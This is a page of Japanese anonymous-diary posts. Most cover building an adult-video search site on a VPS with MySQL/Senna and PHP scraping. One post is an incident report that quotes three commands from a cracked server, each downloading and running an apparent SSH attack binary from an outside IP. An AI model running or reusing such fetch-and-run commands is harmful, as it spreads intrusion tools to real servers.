深夜家族が寝静まってからヘッドフォンビデオを抱えリビングに行き暗がりの中でヘッドフォンテレビ差し込んでビデオ再生ボタンを期待に胸をふくらませながら押したものです。いいシーンを何回も見るためにビデオを巻き戻すんですが、ビデオを巻き戻すガチャガチャンという機械音で家族が起きてこないか?とかそれはそれはドキドキしながら見てました。一仕事終えたあとヘッドフォンを外したらジャックが外れていて大音量で喘ぎ声が響き渡っていたなんてこともありました。誰も起きてこなかったのは優しさなんでしょうか?w

さて、大分前置きが長くなりましたがエロというものものすごい技術発展させるものだと思いますエロのおかげで日本ビデオは普及しエロのおかげで日本インターネットものすごく普及したと言っていいと思います自分エロを通して技術の発展に貢献し自分自身のスキルアップになれば。という高い志を持ってこのサイト制作しました。決して自らのオナニーライフの充実と性癖を充たすため作ったわけではありません・・・

※2011.08.07 利用中のサーバーに障害が発生しているようで現在サーバー接続できない状態となっています・・・

※2011.08.07 23:53 復帰した模様です

サイト名:ヌキネーター

サイト名の由来は抜きネタからきています。抜きネーター、ヌキネーターという感じです

エロサイト制作工程日記にしてみたんで良かったら読んで下さい。そしてこのサイトを使って夜いろいろと励んでくれたら嬉しいです

では制作日記を書いていきたいと思います

サーバー選び

まず前提条件としてお金ほとんどかけたくない。アダルトサイトであるということから

サーバー選びからはいりました。

月の予算は5000円以内で考えていたのでけっこう探すのが大変でした。

日本アダルトサイトを許可している所はかなり限られていてさらにやりたいことができるのは

専用サーバーVPSしかないのでそうなると専用サーバー予算オーバーなので

VPSで探すことになり検索しまくってはじめに見つけたVPSはKAGOYAのVPSだったのですがβ版で募集を締め切っていて泣く泣く諦めました。

KAGOYAはかなり評判がいいみたいなので使ってみたかった。

次に見つけたのが○○○VPS海外サーバー日本語サポートがあり転送量の制限なしディスク容量100G

月1300円程度で借りれるということで初期設定費用に5000円程度かかりましたが借りてみました。

結果、ここは最悪でした。

  • 通信が頻繁に切れる
  • 激重
  • 借りて一ヶ月もしないうちにサービス継続が困難になりそうなのでIPが変わるとかメールがくる
  • まりに通信環境が悪すぎるとメールすると環境調査に協力してくれとメールがくる
  • 時間をかけて沢山の項目を調べて返信するも全く返答がない。

まりの酷さに1ヶ月で解約。

よく調べてみたら評判がものすごく悪い某VPS再販らしいです

お金時間をドブに捨てました・・・

もう失敗したくないと思い今度は比較的有名な海外サーバーLINODE

日本語サポートはないけれど抜群のサポートです

iptablesの設定でどうしてもうまくいかなくて拙い英語メールしてみたら

10分しないうちに返信がきました!

メールに書かれているとおりにコマンド入力したらあっさり解決。

素晴らしい!はじめからLINODEにすればよかった。

担当ブライアンはなぜか分からないけどとてもフレンドリーで親切に感じましたw

サーバー設定

LINODEは複数のディストリビューションから好きなものを選択できるので

とりあえず、64bit版を選択。

サーバー設定はほんとに面倒ですね。

一番面倒だけど重要だということで

SSH

Tripwire

chkrootkit

Clam AntiVirus

iptables

Apache

SSL

その他各種監視ツールの導入をしました。

ほんとに面倒でした。

データベース

はじめはmysqlストレージエンジンgroongaを使おうと思ったのです

初めに借りた最悪なVPSOSが32bit版だったのでgroongaがのソースが見つからずなぜかと思っていたら

どこかで見つけた記事で32bit版ではgroongaの性能を発揮しきれないということで32bit版の提供をやめてしまったらしいと書いてたので

じゃあ、sennaにするかということで最悪VPSsennaインストール

その後LINODEに変更したのでOSに64bit版を選択し念願のgroongaをインストール

しかし、調べてみると

などが理由で、結局sennaに戻して2度手間に・・・

プログラムもそれに合わせてその都度書き換えたので2度手間どころか3度手間4度手間でした・・・

senna導入はrpmでさくっといけるので簡単です

依存関係で少しはまりました。

まず

# rpm -qa | grep -i mysql

mysqlインストールされてたら削除

perl-DBIが必要なのでインストール

# yum install perl-DBI

そして下記の順番でインストール

rpm -ivh mecab-0.98-tritonn.1.0.12a.x86_64.rpm

rpm -ivh mecab-ipadic-2.7.0.20070801-tritonn.1.0.12a.x86_64.rpm

rpm -ivh senna-1.1.4-tritonn.1.0.12a.x86_64.rpm

rpm -ivh MySQL-shared-5.0.87-tritonn.1.0.12a.x86_64.rpm

rpm -ivh MySQL-client-5.0.87-tritonn.1.0.12a.x86_64.rpm

rpm -ivh MySQL-server-5.0.87-tritonn.1.0.12a.x86_64.rpm

rpm -ivh MySQL-devel-5.0.87-tritonn.1.0.12a.x86_64.rpm

my.cnfの設定をして終了

で肝心の全文検索ですデータ件数が5万件程度で少ないせいなのか、あいまい検索と比べてそれほど速さを実感できなかったです・・・

でもきっとすごく速くなったはず!

ちなみに「麻美ゆま おっぱい」で検索した場合、0.01 secで結果が返ってきました。

動画データ作成

さて、動画データ作成ですがいくつかのエロサイト制作記事でもあるようにスクレイピングということをします。

スクレイピングとはWEBサイトから特定の情報だけを取得することでネット上にあるサイトクロールして必要なデータだけを拾ってデータを作るといった感じでしょうか。

スクレイピングプログラム自体は以前にTidy関数を使って為替データ10分おきに取得するような物を作ったことがあったのでそれほど時間はかからいかなと思ったのですがけっこう時間かかりました。

スクレイピングにはTidyhtmlSQL、それにPHP Simple HTML DOM Parserを使いました。

下記のサイトを参考にしました。

phpによるスクレイピング処理入門

SQL みたいな文法で HTML を抽出する PHP のライブラリ

htmlSQLよりアツい!?jQueryみたいにセレクタでHTMLをparse(解析)する「PHP Simple HTML DOM Parser」

つの中で抜群に使えるのはPHP Simple HTML DOM Parserだったんです

ループ処理させるとメモリがすごいことになって今回のようなスクレイピングに向いてないみたいで

結局、htmlSQLTidyの両方を使ってスクレイピングしました。

両方ともPHP Simple HTML DOM Parserに比べるとうまくデータの取得ができないことが多く残念な感じなんですが他に選択肢がないので・・・

使える順に並べると

PHP Simple HTML DOM Parser

htmlSQL

Tidy

といった感じかもしれません。

おおまかにデータを取得して正規表現で特定データを抜き出しました。

広告との連携

広告にはDMMアフィリエイトを利用しています

http://affiliate.dmm.com/link.html

利用可能な物はパッケージ画像、サンプル画像(縮小)と書かれていたのでそれに従い画像を利用。

注記に※ユーザーレビュー引用いただけません。とだけ書かれているのでそれ以外は引用ありと判断して説明文とタイトルなどを利用

女優データジャンルデータDVDデータ、を紐付けたデータベース作成検索ワードに応じて検索結果に関連する商品を表示させるようにしました。

現状、売り上げ0で意味があるのか分かりませんけどw

負荷対策とか転送量とかDOS攻撃対策とか

エロサイトということで多少はチューニングとか設定とかしないとまずいかもと思い色々調べて設定しました。

やったこと

KeepAlive On

MaxKeepAliveRequests 60

KeepAliveTimeout 3

<IfModule prefork.c>
StartServers       7
MinSpareServers    5
MaxSpareServers   10
ServerLimit       30
MaxClients        30
MaxRequestsPerChild  4000
</IfModule>

様子見ということで2日間で設定してみました。

query_cache_limit=1M

query_cache_min_res_unit=4k

query_cache_size=16M

query_cache_type=1

とりあえずこんなところを設定してみましたが、爆発的なアクセスがあるわけでもないので有効なのか今のところ分かりません(-_-;)

Apache Benchでテストはしてみましたけど問題はない感じですが実際にチューニングができているか分かりません。

サイトデザイン

プログラマーとして有名なゆうすけさんのサイトgoogleを参考にしました。

シンプルで使いやすいようにしようと思いこのデザインしました。

3カラム中央可変となっています

クロスブラウザIE7、firefox3、chromeで行いました。

可変ものって作ったことなかったんですがけっこう面倒なんですね。

サイト機能

ブックマーク機能とメニューの折りたたみ機能検索結果の表示方法切替を作りました

まず、ブックマーク機能ですログインなしで気に入った動画ブックマークできるようにしました。

ブックマークに追加した動画ブックマークページで確認できるようにしました。

cookie機能を利用したらいけると思い色々調べてjquery.cookie.jsを利用。

保存したクッキー情報を呼び出してphpに渡して処理し指定要素にブックマーク一覧をloadメソッドで表示させるという感じです

$(function(){
$("#youso").load("xxx.php");
});

メニューの折りたたみ機能は人気AV女優AV女優別、人気タグなどをそのまま表示させるとずらっと長くなって邪魔だったのでつけました。

これには同じくjquery.cookie.jsを利用しました。

参考サイトhttp://blog.caraldo.net/2009/03/newjqqookiemenu.php

検索結果の表示方法切替にはZoomer Galleryを利用しました。

参考URLhttp://phpjavascriptroom.com/?t=ajax&p=jquery_plugin_zoom#a_zoomergallery

検索結果ページで表示される

[ここの画像]

××× の検索結果

44件中 1~10件目を表示

ここの画像の部分をクリックするとgoogleイメージ検索みたいに一覧でイメージ表示できるようにしてみました。

動画表示ページ

基本的に動画の埋め込みを許可しているサイトのみプレイヤー表示をしそれ以外は画像を表示し動画データリンクするようにしました。

埋め込み部分はあらかじめそれぞれのサイト対応したプレーヤー部分のコード記述しVIDEOIDの部分に置き換えるような形にしました。

XVIDEOSを例にすると

XVIDEOS場合かならず動画urlhttp://www.xvideos.com/videoXXXXXX/のようになりますのでXXXXXXの部分を

VIDEOID部分に置き換えるようにプログラムを組みました、

埋め込み部のソース

>||<object width="510" height="400" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" ><param name="quality" value="high" /><param name="bgcolor" value="#000000" /><param name="allowScriptAccess" value="always" /><param name="movie" value="http://static.xvideos.com/swf/flv_player_site_v4.swf" /><param name="allowFullScreen" value="true" /><param name="flashvars" value="id_video=VIDEOID" /><embed src="http://static.xvideos.com/swf/flv_player_site_v4.swf" allowscriptaccess="always" width="510" height="400" menu="false" quality="high" bgcolor="#000000" allowfullscreen="true" flashvars="id_video=VIDEOID" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /></object>
||<

その他の動画サイトURLの一部分のデータを使っているので同様の処理をしました。

まとめ

実際の作業は2、3週間ですが色々調べる時間が多くて制作に2ヶ月くらいかかりました。

自分エロ動画検索を作ってみて有名プログラマーさん達がいかに優秀なのか思い知らされました。

皆さん思いついて数日で作ってしまうのでびっくりです

全くWEBの知識がない人で4、5ヶ月ですごいの作っちゃう人とかもいるみたいですし世の中広いな~と思います

しかし、エロサイト作りで勉強になりますね~

大分、色んな知識を得ることができました。

これからプラグラム勉強しようと思う人はぜひエロサイトから入ってみて下さい。

きっと楽しいですよ!

そんなこんなで?頑張って作ってみたエロ動画検索、良かったら使ってみて下さい。

これで少しは技術の発展に役立てたでしょうか?w

アダルト動画検索ヌキネーター

P.S エロサイトを作っていてはじめは楽しくて興奮しながら作ってたのです最後の方はエロい物を見ても全く反応しなくなりましたw

  不能ではないんですけど・・・現在も性欲が著しく減退しております・・・

  そしてスーパーpre記法がうまういかないのはなぜ?はてな匿名ダイアリー投稿全然からない・・・

  そしてそしてプログラマーさんとかデザイナーさんとかエロい人とかお気軽にお声をおかけ下さい。

【お知らせ】2011/09/07

新しいエロWEBサービス作りました

http://d.hatena.ne.jp/uniqueweb/20110906/1315285545

2011-07-30

http://anond.hatelabo.jp/20110730000610

先ず、サーバ運用はやめて下さい。

ちなみに、いろんなサーバssh接続を試みるプログラムっぽい。

こう言っているから、情報自分で探そうとしているのは良いと思います

が、自分で言っている通りdd_sshで探せば、どんな攻撃を受けていたかは安易に想像は付くはず。

それがどんなに害悪か。。

「誰か詳しく調べてちょ。」とか今後も言い続けるなら今すぐサーバ運用はやめて下さい。

迷惑です

2011-07-29

クラッキングされたサーバで実行されていた怪しいコマンド晒す

うちの大したことに使ってもいないのに常時稼動で外部公開なサーバクラックされて以下のコマンドが実行されていた。

sh -c cd /tmp;wget ttp://195.69.220.2/dd_ssh;chmod 755 dd_ssh;./dd_ssh 50 217.79.190.53 2 >/dev/null 2>/dev/null
sh -c cd /tmp;wget ttp://195.69.220.2/slowdssh;chmod 755 slowdssh;./slowdssh  >/dev/null 2>/dev/null
sh -c cd /tmp;killall -9 ssh2;wget ttp://195.69.220.2/ssh3;chmod 755 ssh3;./ssh3 200 72.20.14.174 >/dev/null 2>/dev/null

((正式なリンクだと502エラーが出て書き込めないのでhを抜いてあります。))

このコマンドを実行するとドイツサーバからプログラムダウンロードして実行するみたい。

ちなみに、いろんなサーバssh接続を試みるプログラムっぽい。

このプログラムたちは2007年11月頃にビルドしたApache/2.0.61にぶら下がって動いていた。

ログは綺麗さっぱりなくなっていて、2011年7月24日以降の情報しか残っていなかった。

どうやって侵入して実行したのか分からなかったけど、古いApacheと一緒に動いていたのでApache更新しなかった自分が悪いと思っている。

「dd_ssh」や「ssh3」の引数を書き換えて実行してみたいけど、それって犯罪じゃないかと思うと怖くてできない。

誰か詳しく調べてちょ。

2011-03-29

典型的PHPerの13の悪癖

PHPerの問題点は、視野が狭いこと。典型的には以下のような悪癖を持つ。

何も知らないかPHPを愛せるんだよ、PHPerは。だからまず、HTMLCSSJavaScriptSQLを覚えろ。次に、Javaに移行しろ。そんなに難しくないよ、Java。特に大量にコードを書けるPHPerは、速度が出てライブラリ化が容易なJavaの方が向いている。今はVPSがあるので、小規模案件でも問題ない。

15年間ほどPHPインターネットを支えてきたが、そろそろ設計の脆さが問題になっている。PHP 6の開発が振り出しに戻ったのは、不幸な事故はない。ウェブ仕事をしていれば、PHPJavaで共通する知識も多い。PHPerはJavaを覚えてPHPさよならしろ。そして恥ずかしい悪癖を直すべきだ。

2011-01-05

探しているエロ動画をすぐに見つけられるシステム作ってみた

本業WEBプログラマだが仕事の合間に、アダルト動画検索エンジン作ってみた制作期間4日間(笑)

http://www.ero-engine.com/

品ぞろえがいいので、何かエロ動画たい!って時に、私はDMMを利用することが多いのだが検索がへぼくてなかなか欲しい動画が見つからなかったりするので、自分でほしい動画を探し出せるようにデータベース化しようと思ったのが最初のきっかけ。

で、キーワードとか、女優スリーサイズジャンルなどから検索することができ、一覧と一緒にサムネイルとか文章も表示されるので、欲しい動画が探しやすいかな、と。後、自分が単体女優の出演作しか購入しないので、それも検索条件に含めることができるようにしました

これからいろいろ機能追加などしていこうかなと思います。

ただ、目立った機能よりも、より使いやすいようなインターフェース作ったり、快適に検索できるように内部的なシステムの調整したりするほうが先かな。

システム的なこと

一応、安価レンタルサーバーなので、いろいろ分散処理したり、ブラウザキャッシュを調整したりしています。

元ネタ

2010-11-22

さくらVPSセキュリティに悩む(日記9)

初回:http://anond.hatelabo.jp/20101118000033

前回:http://anond.hatelabo.jp/20101122141124


店のHP(Wordpressで構築)をさくらVPS移転完了。

無事、稼働している様子。


これで旧サーバからおさらば出来る。

ぶっちゃげサーバはここ最近明らかに調子がおかしく、

某所でもヤバイヤバイ言われており、サポート掲示板でのサービス提供者の発言も

結構ヤバゲな運用状況に陥っているのが透けて見えていた。

まぁ月々500円でmysqlpostgresqlを使い放題だし、安かろう悪かろうじゃないけど致し方がない面もあり。



さて、今度はさくらVPSに移ったわけだが、レビューによると性能は良いらしい。

ただし、root権限があるので自分セキュリティアップデートに気をつけないといけないわけだが…


セキュリティiptableぐらいしかかけてない…

現状を羅列してみる。

さすがにこれはヤバイ気がする。


みんなセキュリティはどうしてるんだろ?あと追加でやるとすれば…


つの間にかAppArmorがカーネルマージされたのか。

http://sourceforge.jp/magazine/10/10/22/0725213

2010-11-14

http://anond.hatelabo.jp/20101114012335

このITの問題は、主要な仕事を出してくれる役所様や大会社社長様が中央にいるから、そうなるんだよね。

どうしても、会議をやりやすくするために、そうなっちゃう。

DCとの距離なんて、それこそ、DCアメリカでもあまりもんだいにならんからね。

多少SSHが遅くて泣くけどorz

2010-01-31

http://hyper-text.org/archives/2010/01/ftp_security.shtml

よって、サーバとの通信時に暗号化が行われる SFTP (SSH File Transfer Protocol) や FTPS (File Transfer Protocol over SSL/TLS) を使用するようにしましょう。SFTP に対応したクライアントとしては WinSCP、FTPS 対応クライアントとしては NextFTP (シェアウェア) がそれぞれ個人的なオススメです。

はあ???

キーロガー仕掛けられてたら通信暗号化しててもパスワードは盗まれるし既にウィルス感染しているってことはAPIフックでもなんでもし放題でAPIフック使えば平文取得出来るんだけど???何を言っているのこいつは???

ログイン ユーザー登録
ようこそ ゲスト さん